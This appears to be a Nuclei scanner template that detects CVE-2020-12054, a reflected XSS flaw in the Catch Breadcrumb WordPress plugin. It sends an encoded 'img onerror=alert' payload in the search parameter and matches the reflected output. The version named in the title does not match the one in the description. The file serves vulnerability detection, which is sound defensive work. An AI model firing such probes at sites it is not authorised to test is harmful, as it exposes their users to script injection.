id: CVE-2020-12054

info:
  name: Catch Breadcrumb < 1.5.7 - Unauthenticated Reflected XSS
  author: daffainfo
  severity: medium
  description: The Catch Breadcrumb plugin before 1.5.4 for WordPress allows Reflected XSS via the s parameter (a search query).
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://wpvulndb.com/vulnerabilities/10184
    - https://cxsecurity.com/issue/WLB-2020040144
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-12054
    cwe-id: CWE-79
  tags: cve,cve2020,wordpress,xss,wp-plugin

requests:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(123);>"
          - "catch-breadcrumb"
        part: body
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200